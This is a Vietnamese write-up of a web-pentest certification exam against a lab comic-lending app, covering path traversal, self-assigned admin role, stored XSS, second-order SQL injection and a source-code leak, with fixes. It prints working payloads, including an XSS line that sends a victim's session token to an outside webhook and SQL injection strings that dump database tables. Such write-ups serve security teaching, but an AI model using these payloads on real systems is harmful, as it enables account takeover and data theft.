Report Final Exam Web Pentest #6 at CyberJutsu

Table of contents
- 1/ Chi tiết lỗ hổng và phương pháp khắc phục
- 1.1/ KOB-01-001 Path Traversal at preview comic
- 1.2 KOB-01-002 Unauthorized Role Assignment during Registration
- 1.3 KOB-031-003 Stored XSS via Platform Feedback
- 1.4 KOB-01-004 Second-Order SQL Injection at borrow comic
- Nguyên nhân gây lỗi:
- 1.5 KOB-01-006 Source Code Leak via robots.txt and Path Traversal
Đây là bài báo cáo của mình về kì thi lấy chứng nhận Web pentest #6 năm 2025
1/ Chi tiết lỗ hổng và phương pháp khắc phục
1.1/ KOB-01-001 Path Traversal at preview comic
Mô tả thông tin lỗ hổng và mức độ ảnh hưởng:
Vị trí: /api/comics/read?comic=filename
Mô tả: Tại endpoint này có chức năng xem truyện trước khi mua. Tuy nhiên tham số comic
không được xử lý an toàn, cho phép attacker sử dụng các kí tự như ../
để duyệt qua các thư mục và đọc file nằm bên ngoài thư mục comics
từ đó gây ra lỗi Path Traversal.
Ảnh hưởng: Điều này dẫn đến việc đọc được cái file nhạy cảm trên hệ thống, bao gồm cấu hình hệ thống và mã nguồn chương trình.
Nguyên nhân gây lỗi:
Tại hàm read()
trong file backup\kobos\app\app\Controllers\ComicController.php
cho thấy biến $filename
được lấy trực tiếp từ hàm getGet('comic’)
ở dòng 142 (Hình 2).'
Tuy ở dòng 147 đã có biến $checkpath
chạy hàm santize_path($filename)
ở trong file backup\kobos\app\app\Helpers\validate_helper.php
, nhưng hàm này chỉ lọc dấu ”../
" và trả về rỗng.(Hình 1), không vô hiệu hóa được các biến thể tấn công khác nên lỗ hổng vẫn tồn tại.
Hình 1
Ở dòng 148 biến $checkpath
được nối WRITEPATH. ‘../comics/’ .
rồi gán vào $path
, biến này được đưa vào hàm file_get_content($path)
ở dòng 164 (Hình 2). Tuy nhiên, biến $path
vẫn chứa các kí tự duyệt đường dẫn nên truy cập được các file bên ngoài thư mục /comics
.
Hình 2
Chi tiết quá trình thực hiện:
Bước 1: Xác định endpoint và tham số bị tấn công
Bật Burp Suite lên quan sát khi click vào một cuốn truyện bất kì sẽ thấy server gửi tới một gói tin là GET api/comics/read?comic=bleach/preview
.
Bước 2: By pass bằng cách lồng thêm dấu ../
vào
Payload: ….//….//….//….//etc/passwd
Kết quả: Thành công đọc được /etc/passwd
Khuyến nghị:
Sử dụng whitelist cho các tên file và đường dẫn, chỉ cho phép các tên file đã định nghĩa trước đó.
Cập nhật hàm sanitize_path()
loại bỏ hoàn toàn hoặc vô hiệu hóa tất cả các kí tự và chuỗi dẫn đến path traversal và không replace về chuỗi rỗng.
Tham khảo:
Tấn công Path traversal và cách thức phòng thủ
1.2 KOB-01-002 Unauthorized Role Assignment during Registration
Mô tả thông tin lỗ hổng và mức độ ảnh hưởng:
Vị trí: /api/register
Mô tả: Trong chức năng đăng ký người dùng, ứng dụng cho phép người dùng tự ý thêm hoặc thay đổi trường role
trong gói tin POST
. Attacker có thể chèn giá trị admin vào trường role
rồi gửi yêu cầu đăng kí, từ đó tạo tài khoản với vai trò quản trị mà không cần ủy quyền hợp lệ từ đó gây ra lỗi Broken Acsess Control.
Ảnh hưởng: Lỗ hổng này dẫn đến leo thang đặc quyền nghiêm trọng, cho phép attacker kiểm soát toàn bộ hệ thống hoặc truy cập vào các chức năng nhạy cảm dành riêng cho quản trị viên.
Nguyên nhân gây lỗi:
Ở trong file backup\kobos\app\app\Controllers\AuthController.php
, cho thấy hàm register()
xử lý dữ liệu đăng kí. Cụ thể dòng code sau là nguyên nhân lỗ hổng.
Dòng này kiểm tra xem trường role
có tồn tại trong dữ liệu JSON gửi lên hay không và giá trị của nó có nằm trong danh sách $this->allowedRoles
hay không. Nếu có, nó sẽ gán giá trị role
do người dùng cung cấp.
Vấn đề là ứng dụng không kiểm tra xem người dùng đang thực hiện đăng ký có quyền để tự gán cho mình một vai trò đặc quyền hay không. Mà tại dòng 12 $this->allowedRoles
bao gồm 'admin'
, nên bất kỳ ai cũng có thể tự trở thành quản trị viên .
Chi tiết quá trình thực hiện:
Bước 1: Đăng kí tài khoản dùng Burp để bắt gói tin lại
Bước 2: Thêm “role": “admin”
vào rồi đăng kí tài khoản mới
Bước 3: Đăng nhập vào bằng tài khoản mới tạo
Kết quả: Thành công tạo tài khoản với vai trò admin
Khuyến nghị:
Không cho phép người dùng tự định nghĩa vai trò của họ khi đăng ký
Thực hiện kiểm tra quyền (Authorization Check) phía máy chủ
Tham khảo:
Insecure direct object references (IDOR)
Authorization Bypass via Parameter Tampering
1.3 KOB-031-003 Stored XSS via Platform Feedback
Mô tả thông tin lỗ hổng và mức độ ảnh hưởng:
Vị trí: /api/tickets
Mô tả: Ứng dụng cho phép người dùng để lại bình luận sau khi trả truyện và phản hồi về nền tảng ứng dụng này, phần thông tin phản hổi không được làm sạch hoặc mã hóa đúng cách. Điều này cho phép attacker chèn HTML dẫn đến lỗ hổng Stored XSS (Cross-Site Scripting)
Ảnh hưởng: Từ đó attacker có thể chèn mã JavaScript độc hại vào phần phản hồi, khi người hỗ trợ phản hồi này truy cập vào xem những thông tin này mã JavaScript lập tức được thực thi trong trình duyệt của họ. Lỗ hổng này dẫn đến việc đánh cắp token, chiếm phiên đăng nhập hoặc thực hiện những hành động khác nguy hiểm thay mặt nạn nhân.
Nguyên nhân gây lỗi:
Tại file backup\frontend\app\src\components\tickets\TicketDialog.tsx
, Ở dòng 62 ticket.platform_feedback
hiển thị nội dung bằng cách sử dụng dangerouslySetInnerHTML
. Đây là một tính năng chèn HTML vô DOM nhưng nó đi kèm rủi ro XSS với nội dung không đáng tin cậy.
Việc sử dụng dangerouslySetInnerHTML
cho ticket.platform_feedback
mà không có bất kỳ bước làm sạch nào ở phía máy chủ trước khi lưu trữ hoặc phía client trước khi hiển thị là cực kì nguy hiểm
Chi tiết quá trình thực hiện:
Bước 1: Vào mượn một cuốn truyện bất kì
Bước 2: Trả truyện rồi chèn một mã độc tại Platform Feedback
Dùng JavaScript để lấy token ra ngoài Internet. Chèn một tấm hình bị lỗi rồi dẫn đến webhook của mình.
Payload: <img src=x onerror="fetch('
https://webhook.site/5a236f71-f193-4576-b73b-d30e6ba038d3?token='+localStorage.getItem('kobos-token')
)">
Bước 3: Đợi supporter xem phản hồi
Kết quả: Thành công lấy được token của supporter
Bước 4: Thay thế token này thành của mình
Kết quả: Thành công đăng nhập được bằng token của supporter
Khuyến nghị:
Không sử dụng dangerouslySetInnerHTML
với nội dung không đáng tin cậy.
Thực hiện làm sạch (Sanitization) đầu vào phía máy chủ (Server-Side Sanitization).
Mã hóa đầu ra (Output Encoding).
Tham khảo:
React Docs: Dangerously Set Inner HTML
1.4 KOB-01-004 Second-Order SQL Injection at borrow comic
Mô tả thông tin lỗ hổng và mức độ ảnh hưởng:
Vị trí: /api/comics/borrow
/api/profile/info
Mô tả: Lỗ hổng SQL Injection này xảy ra khi ứng dụng sử dụng dữ liệu không được làm sạch từ lần tương tác trước đó của người dùng để xây dựng một truy vấn SQL mới.
Cụ thể, khi người dùng cập nhật thông tin cá nhân như địa chỉ (address) và điện thoại (telephone) tại endpoint /api/profile/info
, các trường này có thể có cơ chế lọc đầu vào nhưng vẫn bị bỏ qua bằng cách sử dụng công cụ chặn và sửa đổi proxy như Burp Suite.
Khi payload độc hại đã được lưu trữ thành công vào cơ sở dữ liệu, nó sẽ được truy xuất và chèn trực tiếp vào một truy vấn SQL INSERT
mà không được xử lý an toàn trong chức năng mượn truyện tại /api/comics/borrow
.
Ảnh hưởng: Điều này cho phép kẻ tấn công thực hiện các truy vấn SQL tùy ý, bao gồm đọc dữ liệu nhạy cảm từ cơ sở dữ liệu.
Nguyên nhân gây lỗi:
Tại dòng 288 trong file backup\kobos\app\app\Controllers\ComicController.php
biến $user[‘address’]
và $user[‘telephone’]
được nối trực tiếp vào chuỗi SQL mà không sử dụng prepared statements hoặc hàm thoát chuỗi an toàn.
Chi tiết quá trình thực hiện:
Bước 1: Cập nhật thông tin để bắt gói tin này lại bằng Burp
Tại api : /api/profile/info
Bước 2: Chèn payload vào thông tin profile để đọc tên bảng
Payload: {"address":"123456', (SELECT title FROM (SELECT GROUP_CONCAT(table_name) AS title FROM information_schema.tables WHERE table_schema = database()) AS sub))-- -", "telephone":"123"}
Bước 2: Mượn một cuốn sách bất kì
Bước 3: Quay trờ lại trang profile
Tại api: /api/profile?uid=48
Kết quả: Biết được tất cả tên bảng trong database
Bước 4: Đọc tất cả tên cột tại bảng secretflag
Lặp lại bước 1, 2, 3 với payload dưới đây:
{"address":"123456', (SELECT title FROM (SELECT GROUP_CONCAT(column_name) AS title FROM information_schema.columns WHERE table_name = 'secretflag') AS sub))#","telephone":"123"}
Kết quả: Biết được tên cột của bảng secretflag
là cột hiddenflag.
Bước 5: Đọc nội dung tại cột hiddenflag
.
Tiếp tục lặp các bước 1,2,3 với payload dưới đây:
{"address":"123456', (SELECT hiddenflag FROM secretflag LIMIT 1))-- -", "telephone":"123"}
Kết quả: Thành công đọc được bí mật của cột hiddenflag
Khuyến nghị:
Luôn sử dụng Prepared Statements (hoặc parameterized queries)
Thực hiện làm sạch và xác thực đầu vào mạnh mẽ và nhất quán ở phía máy chủ (Server-Side Sanitization & Validation)
Xem xét kỹ lưỡng các điểm dữ liệu được lưu trữ
Tham khảo:
1.5 KOB-01-006 Source Code Leak via robots.txt and Path Traversal
Mô tả và mức độ ảnh hưởng:
Vị trí: comicstorage-15c94247.exam.cyberjutsu-lab.tech
Mô tả: File robots.txt vô tình tiết lộ đường dẫn đến các file nhạy cảm (.env
). Khi kết hợp với lỗ hổng Path Traversal đã biết tại endpoint /api/comics/read
, kẻ tấn công có thể lợi dụng để đọc trực tiếp nội dung của file .env
. Từ file này phát hiện ra thêm một subdomain nữa khi truy cập vào domain này thì tải được toàn bộ source code
Ảnh hưởng: Từ source code attacker phát hiện ra nhiều thông tin cấu hình quan trọng như thông tin xác thực cơ sở dữ liệu, khóa API, và các bí mật khác. Việc tiết lộ những thông tin này có thể dẫn đến các cuộc tấn công tiếp theo nghiêm trọng hơn, bao gồm truy cập trái phép vào cơ sở dữ liệu, leo thang đặc quyền, hoặc chiếm quyền kiểm soát hệ thống
Chi tiết quá trình thực hiện:
Bước 1: Scan directory bằng FFUF
Kết quả: Scan ra file robots.txt
Bước 2: Truy cập vào robots.txt
Kết quả: Disallow: .env
Bước 3: Dùng lỗ hổng path traversal mà ta đã tìm được lúc đầu để đọc file này
Response trả về dưới dạng code base64 ta chỉ cần bôi đen đoạn mã đó Burp sẽ tự decode ra
Kết quả: Phát hiện ra subdomain là comicstorage-15c94247.exam.cyberjutsu-lab.tech
khi truy cập vào subdomain này thì tự động tải xuống source code của ứng dụng
Khuyến nghị:
Cấu hình robots.txt
an toàn không bao giờ đưa các đường dẫn đến các file hoặc thư mục nhạy cảm vào file robots.txt
.
Giới hạn quyền truy cập hệ thống file đảm bảo rằng tài khoản người dùng mà web server đang chạy có quyền truy cập tối thiểu cần thiết vào hệ thống file
Tham khảo:
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Subscribe to my newsletter
Read articles from Bui Thanh Tam directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
